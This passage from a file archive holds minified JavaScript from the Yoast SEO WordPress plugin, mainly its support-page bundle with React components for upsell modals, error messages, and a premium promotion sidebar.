t=(0,le.get)(e,"wpseo_titles.company_or_person_user_id"),{fetchUsers:s}=(0,a.dispatch)(ea);t&&s({include:[t]})})({settings:n}),document.querySelector('[href="#wpbody-content"]').addEventListener("click",(e=>{var t,s;e.preventDefault(),window.outerWidth>782?null===(s=document.getElementById("link-yoast-logo"))||void 0===s||s.focus():null===(t=document.getElementById("button-open-settings-navigation-mobile"))||void 0===t||t.focus()})),document.querySelector('[href="#wp-toolbar"]').addEventListener("click",(e=>{var t;e.preventDefault(),null===(t=document.querySelector("#wp-admin-bar-wp-logo a"))||void 0===t||t.focus()})),(()=>{const e=document.getElementById("wpcontent"),t=document.getElementById("adminmenuwrap");e&&t&&(e.style.minHeight=`${t.offsetHeight}px`)})();const m=(0,a.select)(ea).selectPreference("isRtl",!1);(0,i.render)((0,e.createElement)(l.Root,{context:{isRtl:m}},(0,e.createElement)(St.StyleSheetManager,{target:o},(0,e.createElement)(r.SlotFillProvider,null,(0,e.createElement)(gt,null,(0,e.createElement)(K,{initialValues:n,validationSchema:Wi(d,u),onSubmit:kn},(0,e.createElement)(jl,null)))))),t)}))})()})();wordpress-seo/js/dist/support.js000064400000122401147510273070013017 0ustar00(()=>{var e={4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var n=typeof s;if("string"===n||"number"===n)e.push(s);else if(Array.isArray(s)){if(s.length){var l=a.apply(null,s);l&&e.push(l)}}else if("object"===n){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var o in s)r.call(s,o)&&s[o]&&e.push(o)}}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(s=function(){return a}.apply(t,[]))||(e.exports=s)}()}},t={};function s(r){var a=t[r];if(void 0!==a)return a.exports;var n=t[r]={exports:{}};return e[r](n,n.exports,s),n.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";const e=window.React,t=window.wp.components,r=window.wp.data,a=window.wp.domReady;var n=s.n(a);const l=window.wp.element,o=window.yoast.uiLibrary,i=window.lodash,c=window.wp.i18n,m=window.yoast.reduxJsToolkit,d="adminUrl",p=(0,m.createSlice)({name:d,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),u=(p.getInitialState,{selectAdminUrl:e=>(0,i.get)(e,d,"")});u.selectAdminLink=(0,m.createSelector)([u.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),p.actions,p.reducer;const y=window.wp.url,g="linkParams",w=(0,m.createSlice)({name:g,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),f=w.getInitialState,h={selectLinkParam:(e,t,s={})=>(0,i.get)(e,`${g}.${t}`,s),selectLinkParams:e=>(0,i.get)(e,g,{})};h.selectLink=(0,m.createSelector)([h.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,y.addQueryArgs)(t,{...e,...s})));const E=w.actions,v=w.reducer,b=(0,m.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:a})=>({payload:{id:e||(0,m.nanoid)(),variant:t,size:s,title:r||"",description:a}})},removeNotification:(e,{payload:t})=>(0,i.omit)(e,t)}}),x=(b.getInitialState,b.actions,b.reducer,"pluginUrl"),_=(0,m.createSlice)({name:x,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),k=(_.getInitialState,{selectPluginUrl:e=>(0,i.get)(e,x,"")});k.selectImageLink=(0,m.createSelector)([k.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,i.trimEnd)(e,"/"),(0,i.trim)(t,"/"),(0,i.trimStart)(s,"/")].join("/"))),_.actions,_.reducer,window.wp.apiFetch;const N="loading",S="showPlay",P="askPermission",R="isPlaying",L="wistiaEmbedPermission",q=(0,m.createSlice)({name:L,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${L}/request`,(e=>{e.status=N})),e.addCase(`${L}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${L}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,i.get)(t,"error.code",500),message:(0,i.get)(t,"error.message","Unknown")}}))}});q.getInitialState,q.actions,q.reducer;const O=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var $=s(4530),C=s.n($);const A=window.yoast.propTypes;var I=s.n(A);const T=({link:t})=>{const s=(0,l.useMemo)((()=>(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s expands to "Yoast SEO" academy, which is a clickable link. */
(0,c.__)("Want to learn SEO from Team Yoast? Check out our %1$s!","wordpress-seo"),"<link/>"),{link:(0,e.createElement)("a",{href:t,target:"_blank",rel:"noopener"},"Yoast SEO academy")})),[]);return(0,e.createElement)(o.Paper,{as:"div",className:"yst-p-6 yst-space-y-3"},(0,e.createElement)(o.Title,{as:"h2",size:"4",className:"yst-text-base yst-text-primary-500"},(0,c.__)("Learn SEO","wordpress-seo")),(0,e.createElement)("p",null,s,(0,e.createElement)("br",null),(0,c.__)("We have both free and premium online courses to learn everything you need to know about SEO.","wordpress-seo")),(0,e.createElement)(o.Link,{href:t,className:"yst-block",target:"_blank",rel:"noopener"},(0,c.sprintf)(/* translators: %1$s expands to "Yoast SEO academy". */
(0,c.__)("Check out %1$s","wordpress-seo"),"Yoast SEO academy")))};T.propTypes={link:I().string.isRequired};const B=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),j=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),U=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,isProductCopy:n,title:i,upsellLabel:m,newToText:d,bundleNote:p})=>{const{onClose:u,initialFocus:y}=(0,o.useModalContext)(),g={a:(0,e.createElement)(ne,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(j,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(Re,{videoId:"vmrahpfjxp",thumbnail:s,wistiaEmbedPermission:r}),(0,e.createElement)(o.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),d))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},i),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},n?(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,c.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g):(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,c.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),g))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,e.createElement)(o.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:y},(0,e.createElement)(B,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),m,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,c.__)("(Opens in a new browser tab)","wordpress-seo")))),p,(0,e.createElement)(o.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:u},(0,c.__)("Close","wordpress-seo"))))};U.propTypes={learnMoreLink:I().string.isRequired,upsellLink:I().string.isRequired,thumbnail:I().shape({src:I().string.isRequired,width:I().string,height:I().string}).isRequired,wistiaEmbedPermission:I().shape({value:I().bool.isRequired,status:I().string.isRequired,set:I().func.isRequired}).isRequired,title:I().string,upsellLabel:I().string,newToText:I().string,isProductCopy:I().bool,bundleNote:I().oneOfType([I().string,I().element])},U.defaultProps={title:(0,c.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,c.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const z=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,upsellLabel:n})=>{const{onClose:i,initialFocus:m}=(0,o.useModalContext)(),d={a:(0,e.createElement)(ne,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(j,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,e.createElement)("br",null)};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(Re,{videoId:"vun9z1dpfh",thumbnail:s,wistiaEmbedPermission:r}),(0,e.createElement)(o.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,c.__)("Beta","wordpress-seo-premium"))),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,c.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,c.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,c.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),d))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,e.createElement)(o.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:m},(0,e.createElement)(B,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),n,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,c.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,e.createElement)(o.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:i},(0,c.__)("Close","wordpress-seo"))))};z.propTypes={learnMoreLink:I().string.isRequired,upsellLink:I().string.isRequired,thumbnail:I().shape({src:I().string.isRequired,width:I().string,height:I().string}).isRequired,wistiaEmbedPermission:I().shape({value:I().bool.isRequired,status:I().string.isRequired,set:I().func.isRequired}).isRequired,upsellLabel:I().string},z.defaultProps={upsellLabel:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,c.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const F=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-flex yst-gap-2"},(0,e.createElement)(o.Button,{onClick:t},(0,c.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(o.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,c.__)("Contact support","wordpress-seo")));F.propTypes={handleRefreshClick:I().func.isRequired,supportLink:I().string.isRequired};const H=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,e.createElement)(o.Button,{className:"yst-order-last",onClick:t},(0,c.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(o.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,c.__)("Contact support","wordpress-seo")));H.propTypes={handleRefreshClick:I().func.isRequired,supportLink:I().string.isRequired};const M=({error:t,children:s})=>(0,e.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,e.createElement)(o.Title,null,(0,c.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,e.createElement)("p",null,(0,c.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,e.createElement)(o.Alert,{variant:"error"},(null==t?void 0:t.message)||(0,c.__)("Undefined error message.","wordpress-seo")),(0,e.createElement)("p",null,(0,c.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),s);M.propTypes={error:I().object.isRequired,children:I().node},M.VerticalButtons=H,M.HorizontalButtons=F;const Y={variant:{lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}},W=({id:t,children:s,title:r,description:a=null,variant:n="2xl"})=>(0,e.createElement)("section",{id:t,className:Y.variant[n].grid},(0,e.createElement)("div",{className:Y.variant[n].col1},(0,e.createElement)("div",{className:"yst-max-w-screen-sm"},(0,e.createElement)(o.Title,{as:"h2",size:"4"},r),a&&(0,e.createElement)("p",{className:"yst-mt-2"},a))),(0,e.createElement)("fieldset",{className:`yst-min-w-0 yst-mt-8 ${Y.variant[n].col2}`},(0,e.createElement)("legend",{className:"yst-sr-only"},r),(0,e.createElement)("div",{className:"yst-space-y-8"},s)));var V;function Q(){return Q=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Q.apply(this,arguments)}W.propTypes={id:I().string,children:I().node.isRequired,title:I().node.isRequired,description:I().node,variant:I().oneOf(Object.keys(Y.variant))};const D=t=>e.createElement("svg",Q({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},t),V||(V=e.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),G=window.ReactDOM;var Z,K,J;(K=Z||(Z={})).Pop="POP",K.Push="PUSH",K.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(J||(J={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const X=["post","put","patch","delete"],ee=(new Set(X),["get",...X]);new Set(ee),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),e.Component,e.startTransition,new Promise((()=>{})),e.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var te,se,re,ae;new Map,e.startTransition,G.flushSync,e.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(ae=te||(te={})).UseScrollRestoration="useScrollRestoration",ae.UseSubmit="useSubmit",ae.UseSubmitFetcher="useSubmitFetcher",ae.UseFetcher="useFetcher",ae.useViewTransitionState="useViewTransitionState",(re=se||(se={})).UseFetcher="useFetcher",re.UseFetchers="useFetchers",re.UseScrollRestoration="useScrollRestoration",I().string.isRequired,I().string;const ne=({href:t,children:s,...r})=>(0,e.createElement)(o.Link,{target:"_blank",rel:"noopener noreferrer",...r,href:t},s,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,c.__)("(Opens in a new browser tab)","wordpress-seo")));var le,oe,ie;function ce(){return ce=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},ce.apply(this,arguments)}ne.propTypes={href:I().string.isRequired,children:I().node},ne.defaultProps={children:null};const me=t=>e.createElement("svg",ce({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),le||(le=e.createElement("defs",null,e.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),oe||(oe=e.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),ie||(ie=e.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),e.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function de(){return de=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},de.apply(this,arguments)}const pe=t=>e.createElement("svg",de({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),e.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var ue,ye,ge,we,fe,he,Ee,ve,be;function xe(){return xe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},xe.apply(this,arguments)}const _e=t=>e.createElement("svg",xe({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},t),ue||(ue=e.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),ye||(ye=e.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),ge||(ge=e.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),we||(we=e.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),fe||(fe=e.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),he||(he=e.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),Ee||(Ee=e.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ve||(ve=e.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),be||(be=e.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),ke=({link:t,linkProps:s,isPromotionActive:r})=>{let a=(0,l.useMemo)((()=>(0,c.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),n=(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,c.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})});const i=r("black-friday-2024-promotion");return i&&(a=(0,l.useMemo)((()=>(0,c.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),n=(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,c.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,e.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,e.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,e.createElement)(_e,null)),i&&(0,e.createElement)("div",{className:"sidebar__sale_banner_container"},(0,e.createElement)("div",{className:"sidebar__sale_banner"},(0,e.createElement)("span",{className:"banner_text"},(0,c.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,e.createElement)(o.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},n),(0,e.createElement)("p",{className:"yst-mt-2"},a),(0,e.createElement)(o.Button,{as:"a",variant:"upsell",href:t,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...s},(0,e.createElement)("span",null,i?(0,c.__)("Buy now","wordpress-seo"):n),(0,e.createElement)(O,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,e.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!i&&(0,e.createElement)(e.Fragment,null,(0,c.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,e.createElement)("br",null)),(0,c.__)("30-day money back guarantee.","wordpress-seo")),(0,e.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,e.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,e.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,c.__)("Read reviews from real users","wordpress-seo")),(0,e.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,e.createElement)(D,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)("span",{className:"yst-flex yst-gap-1"},(0,e.createElement)(pe,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(pe,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(pe,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(pe,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(me,{className:"yst-w-5 yst-h-5"})),(0,e.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};ke.propTypes={link:I().string.isRequired,linkProps:I().object,isPromotionActive:I().func},ke.defaultProps={linkProps:{},isPromotionActive:i.noop};const Ne=({premiumLink:t,premiumUpsellConfig:s,isPromotionActive:r})=>{const a=r("black-friday-2024-promotion");return(0,e.createElement)(o.Paper,{as:"div",className:"xl:yst-max-w-3xl"},a&&(0,e.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,e.createElement)("div",null,(0,c.__)("30% OFF","wordpress-seo")),(0,e.createElement)("div",null,(0,c.__)("BLACK FRIDAY","wordpress-seo"))),(0,e.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,e.createElement)(o.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,c.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,c.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,e.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,c.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,c.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,c.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,c.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,c.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,c.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
